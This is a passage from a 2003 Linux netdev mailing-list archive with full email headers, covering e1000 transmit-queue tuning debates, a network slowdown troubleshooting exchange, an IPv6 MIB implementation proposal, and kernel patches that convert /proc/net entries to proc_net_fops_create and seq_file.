charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: 82540EM very slow on 2.6.0-test[45] Date: Thu, 11 Sep 2003 14:40:08 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 82540EM very slow on 2.6.0-test[45] Thread-Index: AcN4qE2RfIg9P44IT1qHerWD49UrlgABJFzA From: "Feldman, Scott" To: Cc: X-OriginalArrivalTime: 11 Sep 2003 21:40:08.0476 (UTC) FILETIME=[455ACDC0:01C378AD] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8BLeLYa022997 X-archive-position: 5790 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 577 Lines: 15 > I tried 4 Solaris servers. 2 had forced full duplex > and 100 Mbps. Those are slow. 2 other Solaris servers > on the same LAN as the "slow" Solaris servers are fast. > These "fast" servers are using default settings (which > should also be 100 Mbps full-duplex). Maybe someone else on the list has some suggestions? I think we're troubleshooting your network now. Is it just ftp that's slow? What's in the path between the Linux and the "slow" Solaris server? Can you shorten the path? What happens if you don't force 100/full on the "slow" Solaris server? -scott From xma@us.ibm.com Thu Sep 11 14:42:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:42:55 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLgsYa023633 for ; Thu, 11 Sep 2003 14:42:55 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8BLgmUj363106; Thu, 11 Sep 2003 17:42:48 -0400 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8BLglMx267850; Thu, 11 Sep 2003 15:42:48 -0600 Importance: Normal Sensitivity: Subject: New IPv6 Draft Implementation To: netdev@oss.sgi.com, linux-net@vger.kernel.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 11 Sep 2003 14:42:46 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/11/2003 15:42:48 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5791 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 911 Lines: 29 I am going to implement the support for the new IP MIBs draft for IPv6 MIBs only. Below is the draft link: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2011-update-03.txt. This draft is in the shape of last call. This draft consists of 11 tables, ipv6InterfaceTable, ipSystemStatsTable, ipIfStatsTable, ipAddressPrefixTable, ipAddresTable, InetNetToMediaTable, ipv6ScopeZoneIndexTable, ipDefaultRouterTable, ipv6RouterAdverTable, inetIcmpTable and inetIcmpMsgTable. There are hundreds of objects in these tables. Some of the objects can be archived through netlink from 2.6.0 kernel already. Some of them are not. All the new objects are going to be archived through netlink socket. I am going to start from ipv6nterfaceTable. Any thoughts about this? Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 From ricardoz@us.ibm.com Thu Sep 11 14:48:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:48:04 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLm3Ya024128 for ; Thu, 11 Sep 2003 14:48:04 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8BLllWq641148; Thu, 11 Sep 2003 17:47:47 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8BLljfd230672; Thu, 11 Sep 2003 17:47:45 -0400 In-Reply-To: <20030911142906.74d9dfe5.davem@redhat.com> Importance: Normal Sensitivity: Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: "David S. Miller" Cc: greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Thu, 11 Sep 2003 16:47:43 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/11/2003 17:47:45 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5792 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1764 Lines: 54 >IP transmit is black hole that may drop packets at any moment, >any datagram application not prepared for this should be prepared >for troubles or choose to move over to something like TCP. As I said before, please do not make this a UDP issue. The data I sent out was taken using a TCP_STREAM test case. Please review it. regards, ---------------------------------------------------------------------------------- *** ALWAYS THINK POSITIVE *** Rick Gonzalez IBM Linux Performance Group Building: 905 Office: 7G019 Phone: (512) 838-0623 "David S. Miller" on 09/11/2003 04:29:06 PM To: Ben Greear cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, Ricardo C Gonzalez/Austin/IBM@ibmus Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default On Thu, 11 Sep 2003 14:29:43 -0700 Ben Greear wrote: > Thanks for that clarification. Is there no way to tell > at 'sendto' time that the buffers are over-full, and either > block or return -EBUSY or something like that? The TX queue state can change by hundreds of packets by the time we are finished making the "decision", also how would you like to "wake" up sockets when the TX queue is liberated. That extra overhead and logic would be wonderful for performance. No, this is all nonsense. Packet scheduling and queueing is an opaque layer to all the upper layers. It is the only sensible design. IP transmit is black hole that may drop packets at any moment, any datagram application not prepared for this should be prepared for troubles or choose to move over to something like TCP. I listed even a workaround for such stupid UDP apps, simply limit their socket send queue limits. From maxiu@man.poznan.pl Thu Sep 11 14:58:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:58:38 -0700 (PDT) Received: from rose.man.poznan.pl (rose.man.poznan.pl [150.254.173.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLwaYa024705 for ; Thu, 11 Sep 2003 14:58:37 -0700 Received: from rose.man.poznan.pl (localhost [127.0.0.1]) by rose.man.poznan.pl (8.12.5/8.12.5/auth/ldap/milter/tls) with ESMTP id h8BLwYqH024197 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 11 Sep 2003 23:58:34 +0200 (CEST) Received: from localhost (maxiu@localhost) by rose.man.poznan.pl (8.12.5/8.12.5/Submit) with ESMTP id h8BLwUUH024191; Thu, 11 Sep 2003 23:58:34 +0200 (CEST) X-Authentication-Warning: rose.man.poznan.pl: maxiu owned process doing -bs Date: Thu, 11 Sep 2003 23:58:30 +0200 (CEST) From: Marcin Kaminski To: Shirley Ma cc: netdev@oss.sgi.com, Subject: Re: New IPv6 Draft Implementation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-RAVMilter-Version: 8.4.1(snapshot 20020919) (rose) X-archive-position: 5793 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: maxiu@man.poznan.pl Precedence: bulk X-list: netdev Content-Length: 600 Lines: 22 On Thu, 11 Sep 2003, Shirley Ma wrote: > I am going to implement the support for the new IP MIBs draft for IPv6 MIBs > only. > > Below is the draft link: > > http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2011-update-03.txt. > I am going to start from > ipv6nterfaceTable. Any thoughts about this? We are really waiting for this :) I don't know any existing implementation of SNMP agent with support for most IPv6 MIBs (especially with IPv6 adresses included in OIDs), but that is thing which I am really looking for. Please inform us about Your results :) Marcin Kaminski 6Net project From jgarzik@pobox.com Thu Sep 11 15:00:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:00:41 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BM0eYa025093 for ; Thu, 11 Sep 2003 15:00:41 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39942 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xZUV-0001fR-3T; Thu, 11 Sep 2003 23:00:39 +0100 Message-ID: <3F60F07B.8060005@pobox.com> Date: Thu, 11 Sep 2003 18:00:27 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Ricardo C Gonzalez CC: "David S. Miller" , greearb@candelatech.com, scott.feldman@intel.com, netdev@oss.sgi.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5794 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 495 Lines: 20 Ricardo C Gonzalez wrote: > > >>IP transmit is black hole that may drop packets at any moment, >>any datagram application not prepared for this should be prepared >>for troubles or choose to move over to something like TCP. > > > > As I said before, please do not make this a UDP issue. The data I sent out > was taken using a TCP_STREAM test case. Please review it. Your own words say "CPUs can fill TX queue". We already know this. CPUs have been doing wire speed for ages. Jeff From greearb@candelatech.com Thu Sep 11 15:15:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:15:27 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMFQYa025853 for ; Thu, 11 Sep 2003 15:15:26 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BMFJDx010179; Thu, 11 Sep 2003 15:15:19 -0700 Message-ID: <3F60F3F7.6090203@candelatech.com> Date: Thu, 11 Sep 2003 15:15:19 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> In-Reply-To: <20030911142906.74d9dfe5.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5795 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 2143 Lines: 59 David S. Miller wrote: > On Thu, 11 Sep 2003 14:29:43 -0700 > Ben Greear wrote: > > >>Thanks for that clarification. Is there no way to tell >>at 'sendto' time that the buffers are over-full, and either >>block or return -EBUSY or something like that? > > > The TX queue state can change by hundreds of packets by > the time we are finished making the "decision", also how would > you like to "wake" up sockets when the TX queue is liberated. So, at some point the decision is already made that we must drop the packet, or that we can enqueue it. This is where I would propose we block the thing trying to enqueue, or at least propagate a failure code back up the stack(s) so that the packet can be retried by the calling layer. Preferably, one would propagate the error all the way to userspace and let them deal with it, just like we currently deal with socket queue full issues. > That extra overhead and logic would be wonderful for performance. The cost of a retransmit is also expensive, whether it is some hacked up UDP protocol or for TCP. Even if one had to implement callbacks from the device queue to the interested sockets, this should not be a large performance hit. > > No, this is all nonsense. Packet scheduling and queueing is > an opaque layer to all the upper layers. It is the only sensible > design. This is possible, but it does not seem cut and dried to me. If there is any documentation or research that support this assertion, please do let us know. > > IP transmit is black hole that may drop packets at any moment, > any datagram application not prepared for this should be prepared > for troubles or choose to move over to something like TCP. > > I listed even a workaround for such stupid UDP apps, simply limit > their socket send queue limits. And the original poster shows how a similar problem slows down TCP as well due to local dropped packets. Don't you think we'd get better TCP throughput if we instead had the calling code wait 1us for the buffers to clear? -- Ben Greear Candela Technologies Inc http://www.candelatech.com From greearb@candelatech.com Thu Sep 11 15:19:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:19:43 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMJhYa026300 for ; Thu, 11 Sep 2003 15:19:43 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BMJWDx010216; Thu, 11 Sep 2003 15:19:32 -0700 Message-ID: <3F60F4F4.2070107@candelatech.com> Date: Thu, 11 Sep 2003 15:19:32 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: rwhron@earthlink.net, netdev@oss.sgi.com Subject: Re: 82540EM very slow on 2.6.0-test[45] References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5796 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1195 Lines: 36 Feldman, Scott wrote: >>I tried 4 Solaris servers. 2 had forced full duplex >>and 100 Mbps. Those are slow. 2 other Solaris servers >>on the same LAN as the "slow" Solaris servers are fast. >>These "fast" servers are using default settings (which >>should also be 100 Mbps full-duplex). > > > Maybe someone else on the list has some suggestions? I think we're > troubleshooting your network now. > > Is it just ftp that's slow? What's in the path between the Linux and > the "slow" Solaris server? Can you shorten the path? What happens if > you don't force 100/full on the "slow" Solaris server? I know that Becker always yells and folks that force duplex. It is evidently not a good thing to do. Also, I've seen linux ftp get very poor results when there is any latency in the link. That latency could include the solaris machine reading from it's HD, etc. Try saving the file locally to /dev/null, that takes at least one HD out of the picture. Also try using some network transfer tool that does not read or write to disk. I think ttcp might be good for that. > > -scott > -- Ben Greear Candela Technologies Inc http://www.candelatech.com From shemminger@osdl.org Thu Sep 11 15:44:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:44:26 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMiPYa027150 for ; Thu, 11 Sep 2003 15:44:25 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMiCo15970; Thu, 11 Sep 2003 15:44:12 -0700 Date: Thu, 11 Sep 2003 15:43:57 -0700 From: Stephen Hemminger To: David Miller Cc: netdev@oss.sgi.com Subject: [PATCH] ipv4 -- proc_net_fops_create Message-Id: <20030911154357.6b31891c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5797 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 845 Lines: 29 Use proc_net_fops_create it is cleaner. diff -Nru a/net/ipv4/proc.c b/net/ipv4/proc.c --- a/net/ipv4/proc.c Thu Sep 11 15:36:06 2003 +++ b/net/ipv4/proc.c Thu Sep 11 15:36:06 2003 @@ -240,20 +240,12 @@ int rc = 0; struct proc_dir_entry *p; - p = create_proc_entry("netstat", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("netstat", S_IRUGO, &netstat_seq_fops)) goto out_netstat; - p->proc_fops = &netstat_seq_fops; - - p = create_proc_entry("snmp", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("snmp", S_IRUGO, &snmp_seq_fops)) goto out_snmp; - p->proc_fops = &snmp_seq_fops; - - p = create_proc_entry("sockstat", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("sockstat", S_IRUGO, &sockstat_seq_fops)) goto out_sockstat; - p->proc_fops = &sockstat_seq_fops; out: return rc; out_sockstat: From yoshfuji@linux-ipv6.org Thu Sep 11 15:49:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:49:23 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMnMYa027564 for ; Thu, 11 Sep 2003 15:49:23 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8BMo31M027371; Fri, 12 Sep 2003 07:50:03 +0900 Date: Fri, 12 Sep 2003 07:50:03 +0900 (JST) Message-Id: <20030912.075003.10052777.yoshfuji@linux-ipv6.org> To: shemminger@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] ipv4 -- proc_net_fops_create From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030911154357.6b31891c.shemminger@osdl.org> References: <20030911154357.6b31891c.shemminger@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5798 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 398 Lines: 10 In article <20030911154357.6b31891c.shemminger@osdl.org> (at Thu, 11 Sep 2003 15:43:57 -0700), Stephen Hemminger says: > Use proc_net_fops_create it is cleaner. I sent this kind of patch for net/{core,ipv4,ipv6} to David / netdev on 8th Sep. David? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From shemminger@osdl.org Thu Sep 11 15:50:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:50:16 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMoEYa027856 for ; Thu, 11 Sep 2003 15:50:15 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMo2o17285; Thu, 11 Sep 2003 15:50:02 -0700 Date: Thu, 11 Sep 2003 15:44:40 -0700 From: Stephen Hemminger To: David Miller Cc: netdev@oss.sgi.com Subject: [PATCH] ipv4/raw -- proc_net_fops_create Message-Id: <20030911154440.54468595.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5802 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 485 Lines: 23 diff -Nru a/net/ipv4/raw.c b/net/ipv4/raw.c --- a/net/ipv4/raw.c Thu Sep 11 15:36:06 2003 +++ b/net/ipv4/raw.c Thu Sep 11 15:36:06 2003 @@ -831,15 +831,7 @@ int __init raw_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; - - p = create_proc_entry("raw", S_IRUGO, proc_net); - if (p) - p->proc_fops = &raw_seq_fops; - else - rc = -ENOMEM; - return rc; + return proc_net_fops_create("raw", S_IRUGO, &raw_seq_fops) ? 0 : -ENOMEM; } void __init raw_proc_exit(void) From shemminger@osdl.org Thu Sep 11 15:50:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:50:13 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMoDYa027844 for ; Thu, 11 Sep 2003 15:50:13 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMo0o17260; Thu, 11 Sep 2003 15:50:01 -0700 Date: Thu, 11 Sep 2003 15:40:54 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] arp - proc_net_fops_create Message-Id: <20030911154054.45336bef.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5799 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 533 Lines: 22 Use proc_net_fops_create for convience. diff -Nru a/net/ipv4/arp.c b/net/ipv4/arp.c --- a/net/ipv4/arp.c Thu Sep 11 15:36:06 2003 +++ b/net/ipv4/arp.c Thu Sep 11 15:36:06 2003 @@ -1416,14 +1416,8 @@ static int __init arp_proc_init(void) { - int rc = 0; - struct proc_dir_entry *p = create_proc_entry("arp", S_IRUGO, proc_net); - - if (p) - p->proc_fops = &arp_seq_fops; - else - rc = -ENOMEM; - return rc; + return proc_net_fops_create("arp", S_IRUGO, &arp_seq_fops) ? 0 + : -ENOMEM; } #else /* CONFIG_PROC_FS */ From shemminger@osdl.org Thu Sep 11 15:50:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:50:16 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMoDYa027852 for ; Thu, 11 Sep 2003 15:50:14 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMo2o17280; Thu, 11 Sep 2003 15:50:02 -0700 Date: Thu, 11 Sep 2003 15:42:40 -0700 From: Stephen Hemminger To: David Miller Cc: netdev@oss.sgi.com Subject: [PATCH] igmp -- proc_net_fops_create Message-Id: <20030911154240.3306d6df.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5801 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 586 Lines: 22 diff -Nru a/net/ipv4/igmp.c b/net/ipv4/igmp.c --- a/net/ipv4/igmp.c Thu Sep 11 15:36:06 2003 +++ b/net/ipv4/igmp.c Thu Sep 11 15:36:06 2003 @@ -2430,15 +2430,8 @@ int __init igmp_mc_proc_init(void) { - struct proc_dir_entry *p; - - p = create_proc_entry("igmp", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp_mc_seq_fops; - - p = create_proc_entry("mcfilter", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp_mcf_seq_fops; + proc_net_fops_create("igmp", S_IRUGO, &igmp_mc_seq_fops); + proc_net_fops_create("mcfilter", S_IRUGO, &igmp_mcf_seq_fops); return 0; } #endif From shemminger@osdl.org Thu Sep 11 15:50:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:50:15 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMoDYa027845 for ; Thu, 11 Sep 2003 15:50:13 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMo1o17276; Thu, 11 Sep 2003 15:50:01 -0700 Date: Thu, 11 Sep 2003 15:41:56 -0700 From: Stephen Hemminger To: David Miller Cc: netdev@oss.sgi.com Subject: [PATCH] fib_hash -- proc_net_fops_create Message-Id: <20030911154156.0a68843e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5800 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 563 Lines: 23 Once again, use proc_net_fops_create for convience diff -Nru a/net/ipv4/fib_hash.c b/net/ipv4/fib_hash.c --- a/net/ipv4/fib_hash.c Thu Sep 11 15:36:06 2003 +++ b/net/ipv4/fib_hash.c Thu Sep 11 15:36:06 2003 @@ -1096,15 +1096,8 @@ int __init fib_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; - - p = create_proc_entry("route", S_IRUGO, proc_net); - if (p) - p->proc_fops = &fib_seq_fops; - else - rc = -ENOMEM; - return rc; + return proc_net_fops_create("route", S_IRUGO, &fib_seq_fops) ? 0 + : -ENOMEM; } void __init fib_proc_exit(void) From shemminger@osdl.org Thu Sep 11 15:52:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 15:52:48 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BMqlYa029142 for ; Thu, 11 Sep 2003 15:52:48 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8BMqZo17746; Thu, 11 Sep 2003 15:52:35 -0700 Date: Thu, 11 Sep 2003 15:52:20 -0700 From: Stephen Hemminger To: David Miller Cc: netdev@oss.sgi.com Subject: [PATCH] /proc/net/ipconfig seq_file. Message-Id: <20030911155220.67265917.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5803 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2396 Lines: 94 Convert /proc/net/ipconfig to seq_file. diff -Nru a/net/ipv4/ipconfig.c b/net/ipv4/ipconfig.c --- a/net/ipv4/ipconfig.c Thu Sep 11 15:50:41 2003 +++ b/net/ipv4/ipconfig.c Thu Sep 11 15:50:41 2003 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -1091,44 +1092,45 @@ #endif /* IPCONFIG_DYNAMIC */ #ifdef CONFIG_PROC_FS - -static int pnp_get_info(char *buffer, char **start, - off_t offset, int length) +static int pnp_seq_show(struct seq_file *seq, void *v) { - int len; - int i; + int i; if (ic_proto_used & IC_PROTO) - sprintf(buffer, "#PROTO: %s\n", - (ic_proto_used & IC_RARP) ? "RARP" - : (ic_proto_used & IC_USE_DHCP) ? "DHCP" : "BOOTP"); + seq_printf(seq, "#PROTO: %s\n", + 